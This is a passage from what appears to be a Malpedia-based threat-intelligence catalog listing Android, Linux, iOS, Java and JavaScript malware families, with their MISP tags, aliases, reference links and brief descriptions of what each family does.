https://twitter.com/LukasStefanko/status/1042297855602503681 |
Clipper
The tag is: misp-galaxy:malpedia="Clipper"
Clipper is also known as:
CometBot
The tag is: misp-galaxy:malpedia="CometBot"
CometBot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.comet_bot |
https://twitter.com/LukasStefanko/status/1102937833071935491 |
Connic
The tag is: misp-galaxy:malpedia="Connic"
Connic is also known as:
-
SpyBanker
Links |
https://www.welivesecurity.com/2017/12/11/banking-malware-targets-polish-banks/ |
Cpuminer (Android)
The tag is: misp-galaxy:malpedia="Cpuminer (Android)"
Cpuminer (Android) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.cpuminer |
DoubleLocker
The tag is: misp-galaxy:malpedia="DoubleLocker"
DoubleLocker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.doublelocker |
https://www.welivesecurity.com/2017/10/13/doublelocker-innovative-android-malware/ |
DualToy (Android)
The tag is: misp-galaxy:malpedia="DualToy (Android)"
DualToy (Android) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.dualtoy |
Dvmap
The tag is: misp-galaxy:malpedia="Dvmap"
Dvmap is also known as:
Links |
https://securelist.com/dvmap-the-first-android-malware-with-code-injection/78648/ |
ExoBot
The tag is: misp-galaxy:malpedia="ExoBot"
ExoBot is also known as:
Links |
https://securityintelligence.com/ibm-x-force-delves-into-exobots-leaked-source-code/ |
Exodus
The tag is: misp-galaxy:malpedia="Exodus"
Exodus is also known as:
Links |
https://securitywithoutborders.org/blog/2019/03/29/exodus.html |
FakeSpy
The tag is: misp-galaxy:malpedia="FakeSpy"
FakeSpy is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakespy |
FakeGram
The tag is: misp-galaxy:malpedia="FakeGram"
FakeGram is also known as:
-
FakeTGram
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.faketgram |
https://blog.talosintelligence.com/2018/11/persian-stalker.html |
FlexiSpy (Android)
The tag is: misp-galaxy:malpedia="FlexiSpy (Android)"
FlexiSpy (Android) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.flexispy |
https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/ |
FlexNet
The tag is: misp-galaxy:malpedia="FlexNet"
FlexNet is also known as:
-
gugi
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.flexnet |
GhostCtrl
The tag is: misp-galaxy:malpedia="GhostCtrl"
GhostCtrl is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ghostctrl |
GlanceLove
The tag is: misp-galaxy:malpedia="GlanceLove"
GlanceLove is also known as:
GoldenRAT
The tag is: misp-galaxy:malpedia="GoldenRAT"
GoldenRAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.goldenrat |
GPlayed
Cisco Talos identifies GPlayed as a malware written in .NET using the Xamarin environment for mobile applications. It is considered powerful because of its capability to adapt after its deployment. In order to achieve this adaptability, the operator has the capability to remotely load plugins, inject scripts and even compile new .NET code that can be executed.
The tag is: misp-galaxy:malpedia="GPlayed"
GPlayed is also known as:
Gustuff
Group-IB describes Gustuff as a mobile Android Trojan, which includes potential targets of customers in leading international banks, users of cryptocurrency services, popular ecommerce websites and marketplaces. Gustuff has previously never been reported. Gustuff is a new generation of malware complete with fully automated features designed to steal both fiat and crypto currency from user accounts en masse. The Trojan uses the Accessibility Service, intended to assist people with disabilities. The analysis of Gustuff sample revealed that the Trojan is equipped with web fakes designed to potentially target users of Android apps of top international banks including Bank of America, Bank of Scotland, J.P.Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, and crypto services such as Bitcoin Wallet, BitPay, Cryptopay, Coinbase etc. Group-IB specialists discovered that Gustuff could potentially target users of more than 100 banking apps, including 27 in the US, 16 in Poland, 10 in Australia, 9 in Germany, and 8 in India and users of 32 cryptocurrency apps.
The tag is: misp-galaxy:malpedia="Gustuff"
Gustuff is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.gustuff |
https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html |
HeroRAT
The tag is: misp-galaxy:malpedia="HeroRAT"
HeroRAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.hero_rat |
https://www.welivesecurity.com/2018/06/18/new-telegram-abusing-android-rat/ |
IRRat
The tag is: misp-galaxy:malpedia="IRRat"
IRRat is also known as:
Links |
JadeRAT
The tag is: misp-galaxy:malpedia="JadeRAT"
JadeRAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.jaderat |
KevDroid
The tag is: misp-galaxy:malpedia="KevDroid"
KevDroid is also known as:
Koler
The tag is: misp-galaxy:malpedia="Koler"
Koler is also known as:
Links |
Lazarus (Android)
The tag is: misp-galaxy:malpedia="Lazarus (Android)"
Lazarus (Android) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.lazarus |
Lazarus ELF Backdoor
The tag is: misp-galaxy:malpedia="Lazarus ELF Backdoor"
Lazarus ELF Backdoor is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.lazarus_elf |
Loki
The tag is: misp-galaxy:malpedia="Loki"
Loki is also known as:
Links |
http://blog.checkpoint.com/2017/03/10/preinstalled-malware-targeting-mobile-users/ |
LokiBot
Android banker Trojan with the standard banking capabilities such as overlays, SMS stealing. It also features ransomware functionality. Note, the network traffic is obfuscated the same way as in Android Bankbot.
The tag is: misp-galaxy:malpedia="LokiBot"
LokiBot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot |
https://www.threatfabric.com/blogs/lokibot_the_first_hybrid_android_malware.html |
LuckyCat
The tag is: misp-galaxy:malpedia="LuckyCat"
LuckyCat is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.luckycat |
https://blog.talosintelligence.com/2019/02/exilerat-shares-c2-with-luckycat.html |
Marcher
The tag is: misp-galaxy:malpedia="Marcher"
Marcher is also known as:
-
ExoBot
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.marcher |
https://www.zscaler.de/blogs/research/android-marcher-continuously-evolving-mobile-malware |
https://www.clientsidedetection.com/exobot_v2_update_staying_ahead_of_the_competition.html[https://www.clientsidedetection.com/exobot_v2_update_staying_ahead_of_the_competition.html] |
MazarBot
The tag is: misp-galaxy:malpedia="MazarBot"
MazarBot is also known as:
MysteryBot
MysteryBot is an Android banking Trojan with overlay capabilities with support for Android 7/8 but also provides other features such as key logging and ransomware functionality.
The tag is: misp-galaxy:malpedia="MysteryBot"
MysteryBot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.mysterybot |
https://www.threatfabric.com/blogs/mysterybota_new_android_banking_trojan_ready_for_android_7_and_8.html[https://www.threatfabric.com/blogs/mysterybota_new_android_banking_trojan_ready_for_android_7_and_8.html] |
OmniRAT
The tag is: misp-galaxy:malpedia="OmniRAT"
OmniRAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.omnirat |
Podec
The tag is: misp-galaxy:malpedia="Podec"
Podec is also known as:
Links |
X-Agent (Android)
The tag is: misp-galaxy:malpedia="X-Agent (Android)"
X-Agent (Android) is also known as:
-
Popr-d30
Fake Pornhub
The tag is: misp-galaxy:malpedia="Fake Pornhub"
Fake Pornhub is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.pornhub |
Premier RAT
The tag is: misp-galaxy:malpedia="Premier RAT"
Premier RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.premier_rat |
https://twitter.com/LukasStefanko/status/1084774825619537925 |
Raxir
The tag is: misp-galaxy:malpedia="Raxir"
Raxir is also known as:
Links |
https://twitter.com/PhysicalDrive0/statuses/798825019316916224 |
RedAlert2
RedAlert 2 is an new Android malware used by an attacker to gain access to login credentials of various e-banking apps. The malware works by overlaying a login screen with a fake display that sends the credentials to a C2 server. The malware also has the ability to block incoming calls from banks, to prevent the victim of being notified. As a distribution vector RedAlert 2 uses third-party app stores and imitates real Android apps like Viber, Whatsapp or fake Adobe Flash Player updates.
The tag is: misp-galaxy:malpedia="RedAlert2"
RedAlert2 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.redalert2 |
https://www.threatfabric.com/blogs/new_android_trojan_targeting_over_60_banks_and_social_apps.html |
Retefe (Android)
The Android app using for Retefe is a SMS stealer, used to forward mTAN codes to the threat actor. Further is a bank logo added to the specific Android app to trick users into thinking this is a legitimate app. Moreover, if the victim is not a real victim, the link to download the APK is not the malicious APK, but the real 'Signal Private Messenger' tool, hence the victim’s phone doesn’t get infected.
The tag is: misp-galaxy:malpedia="Retefe (Android)"
Retefe (Android) is also known as:
Roaming Mantis
The tag is: misp-galaxy:malpedia="Roaming Mantis"
Roaming Mantis is also known as:
Rootnik
The tag is: misp-galaxy:malpedia="Rootnik"
Rootnik is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.rootnik |
Sauron Locker
The tag is: misp-galaxy:malpedia="Sauron Locker"
Sauron Locker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.sauron_locker |
https://twitter.com/LukasStefanko/status/1117795290155819008 |
Skygofree
The tag is: misp-galaxy:malpedia="Skygofree"
Skygofree is also known as:
Slempo
The tag is: misp-galaxy:malpedia="Slempo"
Slempo is also known as:
-
SlemBunk
Links |
https://www.fireeye.com/blog/threat-research/2015/12/slembunk_an_evolvin.html |
Slocker
The tag is: misp-galaxy:malpedia="Slocker"
Slocker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.slocker |
SMSspy
The tag is: misp-galaxy:malpedia="SMSspy"
SMSspy is also known as:
Links |
SpyBanker
The tag is: misp-galaxy:malpedia="SpyBanker"
SpyBanker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.spybanker |
SpyNote
The tag is: misp-galaxy:malpedia="SpyNote"
SpyNote is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.spynote |
StealthAgent
The tag is: misp-galaxy:malpedia="StealthAgent"
StealthAgent is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.stealthagent |
https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF |
Stealth Mango
The tag is: misp-galaxy:malpedia="Stealth Mango"
Stealth Mango is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.stealthmango |
Svpeng
The tag is: misp-galaxy:malpedia="Svpeng"
Svpeng is also known as:
Links |
https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/ |
Switcher
The tag is: misp-galaxy:malpedia="Switcher"
Switcher is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.switcher |
https://securelist.com/blog/mobile/76969/switcher-android-joins-the-attack-the-router-club/ |
TalentRAT
The tag is: misp-galaxy:malpedia="TalentRAT"
TalentRAT is also known as:
-
Assassin RAT
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.talent_rat |
https://twitter.com/LukasStefanko/status/1118066622512738304 |
TeleRAT
The tag is: misp-galaxy:malpedia="TeleRAT"
TeleRAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.telerat |
TemptingCedar Spyware
The tag is: misp-galaxy:malpedia="TemptingCedar Spyware"
TemptingCedar Spyware is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.tempting_cedar |
https://blog.avast.com/avast-tracks-down-tempting-cedar-spyware |
TinyZ
The tag is: misp-galaxy:malpedia="TinyZ"
TinyZ is also known as:
-
Catelites Android Bot
-
MarsElite Android Bot
Links |
Titan
The tag is: misp-galaxy:malpedia="Titan"
Titan is also known as:
Links |
https://www.alienvault.com/blogs/labs-research/delivery-keyboy |
Triada
The tag is: misp-galaxy:malpedia="Triada"
Triada is also known as:
Triout
Bitdefender described Triout as a Android spyware, which appears to act as a framework for building extensive surveillance capabilities into seemingly benign applications. Found bundled with a repackaged app, the spyware’s surveillance capabilities involve hiding its presence on the device, recording phone calls, logging incoming text messages, recoding videos, taking pictures and collecting GPS coordinates, then broadcasting all of that to an attacker-controlled C&C (command and control) server.
The tag is: misp-galaxy:malpedia="Triout"
Triout is also known as:
Links |
Unidentified APK 001
The tag is: misp-galaxy:malpedia="Unidentified APK 001"
Unidentified APK 001 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_001 |
Unidentified APK 002
The tag is: misp-galaxy:malpedia="Unidentified APK 002"
Unidentified APK 002 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_002 |
Viper RAT
The tag is: misp-galaxy:malpedia="Viper RAT"
Viper RAT is also known as:
WireX
The tag is: misp-galaxy:malpedia="WireX"
WireX is also known as:
Xbot
The tag is: misp-galaxy:malpedia="Xbot"
Xbot is also known as:
Links |
XLoader
The tag is: misp-galaxy:malpedia="XLoader"
XLoader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.xloader |
XRat
The tag is: misp-galaxy:malpedia="XRat"
XRat is also known as:
Links |
YellYouth
The tag is: misp-galaxy:malpedia="YellYouth"
YellYouth is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.yellyouth |
https://www.mulliner.org/blog/blosxom.cgi/security/yellyouth_android_malware.html |
Zen
The tag is: misp-galaxy:malpedia="Zen"
Zen is also known as:
Links |
https://security.googleblog.com/2019/01/pha-family-highlights-zen-and-its.html |
ZooPark
The tag is: misp-galaxy:malpedia="ZooPark"
ZooPark is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.zoopark |
Ztorg
The tag is: misp-galaxy:malpedia="Ztorg"
Ztorg is also known as:
-
Qysly
Links |
http://blog.fortinet.com/2017/03/08/teardown-of-android-ztorg-part-2 |
https://blog.fortinet.com/2017/03/15/teardown-of-a-recent-variant-of-android-ztorg-part-1 |
TwoFace
The tag is: misp-galaxy:malpedia="TwoFace"
TwoFace is also known as:
-
HyperShell
Unidentified ASP 001 (Webshell)
The tag is: misp-galaxy:malpedia="Unidentified ASP 001 (Webshell)"
Unidentified ASP 001 (Webshell) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/asp.unidentified_001 |
Irc16
The tag is: misp-galaxy:malpedia="Irc16"
Irc16 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/elf.backdoor_irc16 |
Bashlite
The tag is: misp-galaxy:malpedia="Bashlite"
Bashlite is also known as:
-
Gafgyt
-
gayfgt
-
lizkebab
-
qbot
-
torlus
BCMPUPnP_Hunter
The tag is: misp-galaxy:malpedia="BCMPUPnP_Hunter"
BCMPUPnP_Hunter is also known as:
CDorked
This is in the same family as eBury, Calfbot, and is also likely related to DarkLeech
The tag is: misp-galaxy:malpedia="CDorked"
CDorked is also known as:
-
CDorked.A
Chapro
The tag is: misp-galaxy:malpedia="Chapro"
Chapro is also known as:
Cpuminer (ELF)
This was observed to be pushed by IoT malware, abusing devices for LiteCoin and BitCoin mining.
The tag is: misp-galaxy:malpedia="Cpuminer (ELF)"
Cpuminer (ELF) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cpuminer |
Cr1ptT0r
The tag is: misp-galaxy:malpedia="Cr1ptT0r"
Cr1ptT0r is also known as:
-
CriptTor
Ebury
This payload has been used to compromise kernel.org back in August of 2011 and has hit cPanel Support which in turn, has infected quite a few cPanel servers. It is a credential stealing payload which steals SSH keys, passwords, and potentially other credentials.
This family is part of a wider range of tools which are described in detail in the operation windigo whitepaper by ESET.
The tag is: misp-galaxy:malpedia="Ebury"
Ebury is also known as:
Erebus (ELF)
The tag is: misp-galaxy:malpedia="Erebus (ELF)"
Erebus (ELF) is also known as:
Links |
https://blog.trendmicro.com/trendlabs-security-intelligence/erebus-resurfaces-as-linux-ransomware/ |
ext4
The tag is: misp-galaxy:malpedia="ext4"
ext4 is also known as:
Links |
https://www.recordedfuture.com/chinese-cyberespionage-operations/ |
FBot
The tag is: misp-galaxy:malpedia="FBot"
FBot is also known as:
Links |
Haiduc
The tag is: misp-galaxy:malpedia="Haiduc"
Haiduc is also known as:
Links |
Hajime
The tag is: misp-galaxy:malpedia="Hajime"
Hajime is also known as:
Hakai
The tag is: misp-galaxy:malpedia="Hakai"
Hakai is also known as:
Links |
Hide and Seek
The tag is: misp-galaxy:malpedia="Hide and Seek"
Hide and Seek is also known as:
-
HNS
IoT Reaper
The tag is: misp-galaxy:malpedia="IoT Reaper"
IoT Reaper is also known as:
-
IoTroop
-
Reaper
JenX
The tag is: misp-galaxy:malpedia="JenX"
JenX is also known as:
Links |
https://blog.radware.com/security/2018/02/jenx-los-calvos-de-san-calvicie/ |
Kaiten
The tag is: misp-galaxy:malpedia="Kaiten"
Kaiten is also known as:
-
STD
Links |
Lady
The tag is: misp-galaxy:malpedia="Lady"
Lady is also known as:
Links |
Masuta
Masuta takes advantage of the EDB 38722 D-Link exploit.
The tag is: misp-galaxy:malpedia="Masuta"
Masuta is also known as:
-
PureMasuta
Links |
https://threatpost.com/satori-author-linked-to-new-mirai-variant-masuta/129640/ |
MiKey
The tag is: misp-galaxy:malpedia="MiKey"
MiKey is also known as:
Links |
Mirai (ELF)
The tag is: misp-galaxy:malpedia="Mirai (ELF)"
Mirai (ELF) is also known as:
Mokes (ELF)
The tag is: misp-galaxy:malpedia="Mokes (ELF)"
Mokes (ELF) is also known as:
Links |
Moose
The tag is: misp-galaxy:malpedia="Moose"
Moose is also known as:
Links |
http://www.welivesecurity.com/2016/11/02/linuxmoose-still-breathing/ |
MrBlack
The tag is: misp-galaxy:malpedia="MrBlack"
MrBlack is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mrblack |
Owari
Mirai variant by actor "Anarchy" that used CVE-2017-17215 in July 2018 to compromise 18,000+ devices.
The tag is: misp-galaxy:malpedia="Owari"
Owari is also known as:
Links |
https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html |
https://twitter.com/ankit_anubhav/status/1019647993547550720 |
Penquin Turla
The tag is: misp-galaxy:malpedia="Penquin Turla"
Penquin Turla is also known as:
PerlBot
The tag is: misp-galaxy:malpedia="PerlBot"
PerlBot is also known as:
-
DDoS Perl IrcBot
-
ShellBot
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/elf.perlbot |
Persirai
The tag is: misp-galaxy:malpedia="Persirai"
Persirai is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/elf.persirai |
pupy (ELF)
Pupy is an open-source, cross-platform RAT and post-exploitation framework mainly written in python. Pupy can be loaded from various loaders, including PE EXE, reflective DLL, Linux ELF, pure python, powershell and APK. Most of the loaders bundle an embedded python runtime, python library modules in source/compiled/native forms as well as a flexible configuration. They bootstrap a python runtime environment mostly in-memory for the later stages of pupy to run in. Pupy can communicate using various transports, migrate into processes, load remote python code, python packages and python C-extensions from memory.
The tag is: misp-galaxy:malpedia="pupy (ELF)"
pupy (ELF) is also known as:
Links |
r2r2
The tag is: misp-galaxy:malpedia="r2r2"
r2r2 is also known as:
Links |
https://www.guardicore.com/2018/06/operation-prowli-traffic-manipulation-cryptocurrency-mining/ |
Rakos
The tag is: misp-galaxy:malpedia="Rakos"
Rakos is also known as:
Links |
http://www.welivesecurity.com/2016/12/20/new-linuxrakos-threat-devices-servers-ssh-scan/ |
Rex
The tag is: misp-galaxy:malpedia="Rex"
Rex is also known as:
Links |
https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/ |
https://thisissecurity.net/2016/10/28/octopus-rex-evolution-of-a-multi-task-botnet/ |
Satori
Satori is a variation of elf.mirai which was first detected around 2017-11-27 by 360 Netlab. It uses exploit to exhibit worm-like behaviour to spread over ports 37215 and 52869 (CVE-2014-8361).
The tag is: misp-galaxy:malpedia="Satori"
Satori is also known as:
Links |
http://www.eweek.com/security/collaborative-takedown-kills-iot-worm-satori |
ShellBind
The tag is: misp-galaxy:malpedia="ShellBind"
ShellBind is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/elf.shellbind |
Shishiga
The tag is: misp-galaxy:malpedia="Shishiga"
Shishiga is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/elf.shishiga |
https://www.welivesecurity.com/2017/04/25/linux-shishiga-malware-using-lua-scripts/ |
Spamtorte
The tag is: misp-galaxy:malpedia="Spamtorte"
Spamtorte is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/elf.spamtorte |
http://cyber.verint.com/resource/spamtorte-v2-investigating-a-multi-layered-spam-botnet/ |
SpeakUp
The tag is: misp-galaxy:malpedia="SpeakUp"
SpeakUp is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/elf.speakup |
https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/ |
SSHDoor
The tag is: misp-galaxy:malpedia="SSHDoor"
SSHDoor is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sshdoor |
http://contagiodump.blogspot.com/2013/02/linux-sshdoor-sample.html |
Stantinko
The tag is: misp-galaxy:malpedia="Stantinko"
Stantinko is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/elf.stantinko |
Sunless
The tag is: misp-galaxy:malpedia="Sunless"
Sunless is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sunless |
https://www.securityartwork.es/2019/01/09/analisis-de-linux-sunless/ |
Torii
The tag is: misp-galaxy:malpedia="Torii"
Torii is also known as:
Links |
Trump Bot
The tag is: misp-galaxy:malpedia="Trump Bot"
Trump Bot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/elf.trump_bot |
Tsunami (ELF)
The tag is: misp-galaxy:malpedia="Tsunami (ELF)"
Tsunami (ELF) is also known as:
-
Amnesia
-
Muhstik
-
Radiation
Turla RAT
The tag is: misp-galaxy:malpedia="Turla RAT"
Turla RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/elf.turla_rat |
Umbreon
The tag is: misp-galaxy:malpedia="Umbreon"
Umbreon is also known as:
-
Espeon
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/elf.umbreon |
http://contagiodump.blogspot.com/2018/03/rootkit-umbreon-umreon-x86-arm-samples.html |
elf.vpnfilter
The tag is: misp-galaxy:malpedia="elf.vpnfilter"
elf.vpnfilter is also known as:
elf.wellmess
The tag is: misp-galaxy:malpedia="elf.wellmess"
elf.wellmess is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/elf.wellmess |
Wirenet (ELF)
The tag is: misp-galaxy:malpedia="Wirenet (ELF)"
Wirenet (ELF) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/elf.wirenet |
http://contagiodump.blogspot.com/2012/12/aug-2012-backdoorwirenet-osx-and-linux.html |
X-Agent (ELF)
The tag is: misp-galaxy:malpedia="X-Agent (ELF)"
X-Agent (ELF) is also known as:
-
chopstick
-
fysbis
-
splm
Xaynnalc
The tag is: misp-galaxy:malpedia="Xaynnalc"
Xaynnalc is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/elf.xaynnalc |
Xbash
The tag is: misp-galaxy:malpedia="Xbash"
Xbash is also known as:
Links |
XOR DDoS
Linux DDoS C&C Malware
The tag is: misp-galaxy:malpedia="XOR DDoS"
XOR DDoS is also known as:
Zollard
The tag is: misp-galaxy:malpedia="Zollard"
Zollard is also known as:
-
darlloz
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/elf.zollard |
https://blogs.cisco.com/security/the-internet-of-everything-including-malware |
AutoCAD Downloader
Small downloader composed as a Fast-AutoLoad LISP (FAS) module for AutoCAD.
The tag is: misp-galaxy:malpedia="AutoCAD Downloader"
AutoCAD Downloader is also known as:
-
Acad.Bursted
-
Duxfas
Links |
https://www.forcepoint.com/blog/security-labs/autocad-malware-computer-aided-theft |
DualToy (iOS)
The tag is: misp-galaxy:malpedia="DualToy (iOS)"
DualToy (iOS) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/ios.dualtoy |
GuiInject
The tag is: misp-galaxy:malpedia="GuiInject"
GuiInject is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/ios.guiinject |
https://sentinelone.com/blogs/analysis-ios-guiinject-adware-library/ |
WireLurker (iOS)
The iOS malware that is installed over USB by osx.wirelurker
The tag is: misp-galaxy:malpedia="WireLurker (iOS)"
WireLurker (iOS) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/ios.wirelurker |
AdWind
Part of Malware-as-service platform Used as a generic name for Java-based RAT Functionality - collect general system and user information - terminate process -log keystroke -take screenshot and access webcam - steal cache password from local or web forms - download and execute Malware - modify registry - download components - Denial of Service attacks - Acquire VPN certificates
Initial infection vector 1. Email to JAR files attached 2. Malspam URL to downlaod the malware
Persistence - Runkey - HKCU\Software\Microsoft\Windows\current version\run
Hiding Uses attrib.exe
Notes on Adwind The malware is not known to be proxy aware
The tag is: misp-galaxy:malpedia="AdWind"
AdWind is also known as:
-
AlienSpy
-
Frutas
-
JBifrost
-
JSocket
-
Sockrat
-
UNRECOM
Banload
The tag is: misp-galaxy:malpedia="Banload"
Banload is also known as:
CrossRAT
The tag is: misp-galaxy:malpedia="CrossRAT"
CrossRAT is also known as:
-
Trupto
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/jar.crossrat |
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf |
FEimea RAT
The tag is: misp-galaxy:malpedia="FEimea RAT"
FEimea RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/jar.feimea_rat |
https://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/ |
JavaDispCash
The tag is: misp-galaxy:malpedia="JavaDispCash"
JavaDispCash is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/jar.javadispcash |
jRAT
jRAT, also known as Jacksbot, is a RAT with history, written in Java. It has support for macOS, Linux, Windows and various BSD. It also has functionality to participate in DDoS-attacks as well as to perform click fraud. Note that the Adwind family often is mistakenly labeled as jRAT, because of of a red hering reference to jrat.io.
The tag is: misp-galaxy:malpedia="jRAT"
jRAT is also known as:
-
Jacksbot
Links |
https://www.intego.com/mac-security-blog/new-multiplatform-backdoor-jacksbot-discovered |
https://maskop9.wordpress.com/2019/02/06/analysis-of-jacksbot-backdoor/ |
jSpy
The tag is: misp-galaxy:malpedia="jSpy"
jSpy is also known as:
Links |
https://how-to-hack.net/hacking-guides/review-of-jspy-rat-jspy-net/ |
Qarallax RAT
According to SpiderLabs, in May 2015 the "company" Quaverse offered a RAT known as Quaverse RAT or QRAT. At around May 2016, this QRAT evolved into another RAT which became known as Qarallax RAT, because its C2 is at qarallax.com. Quaverse also offers a service to encrypt Java payloads (Qrypter), and thus qrypted payloads are sometimes confused with Quaverse RATs (QRAT / Qarallax RAT).
The tag is: misp-galaxy:malpedia="Qarallax RAT"
Qarallax RAT is also known as:
Qealler
The tag is: misp-galaxy:malpedia="Qealler"
Qealler is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/jar.qealler |
https://www.zscaler.com/blogs/research/qealler-new-jar-based-information-stealer |
QRat
QRat, also known as Quaverse RAT, was introduced in May 2015 as undetectable (because of multiple layers of obfuscation). It offers the usual functionality (password dumper, file browser, keylogger, screen shots/streaming, …), and it comes as a SaaS. For additional historical context, please see jar.qarallax.
The tag is: misp-galaxy:malpedia="QRat"
QRat is also known as:
-
Quaverse RAT
Links |
https://www.trustwave.com/Resources/SpiderLabs-Blog/Quaverse-RAT—Remote-Access-as-a-Service/ |
Ratty
Ratty is an open source Java RAT, made available on GitHub and promoted heavily on HackForums. At some point in 2016 / 2017 the original author deleted his repository, but several clones exist.
The tag is: misp-galaxy:malpedia="Ratty"
Ratty is also known as:
Links |
SupremeBot
The tag is: misp-galaxy:malpedia="SupremeBot"
SupremeBot is also known as:
-
BlazeBot
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/jar.supremebot |
https://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/ |
AIRBREAK
AIRBREAK, a JavaScript-based backdoor which retrieves commands from hidden strings in compromised webpages.
The tag is: misp-galaxy:malpedia="AIRBREAK"
AIRBREAK is also known as:
-
Orz
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/js.airbreak |
Bateleur
The tag is: misp-galaxy:malpedia="Bateleur"
Bateleur is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/js.bateleur |
BELLHOP
-
BELLHOP is a JavaScript backdoor interpreted using the native Windows Scripting Host(WSH). After performing some basic host information gathering, the BELLHOP dropper downloads a base64-encoded blob of JavaScript to disk and sets up persistence in three ways:
-
Creating a Run key in the Registry
-
Creating a RunOnce key in the Registry
-
Creating a persistent named scheduled task
-
BELLHOP communicates using HTTP and HTTPS with primarily benign sites such as Google Docs and PasteBin.
The tag is: misp-galaxy:malpedia="BELLHOP"
BELLHOP is also known as:
Links |
CACTUSTORCH
According to the GitHub repo, CACTUSTORCH is a JavaScript and VBScript shellcode launcher. It will spawn a 32 bit version of the binary specified and inject shellcode into it.
The tag is: misp-galaxy:malpedia="CACTUSTORCH"
CACTUSTORCH is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/js.cactustorch |
CryptoNight
WebAssembly-based crpyto miner.
The tag is: misp-galaxy:malpedia="CryptoNight"
CryptoNight is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/js.cryptonight |
https://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec |
CukieGrab
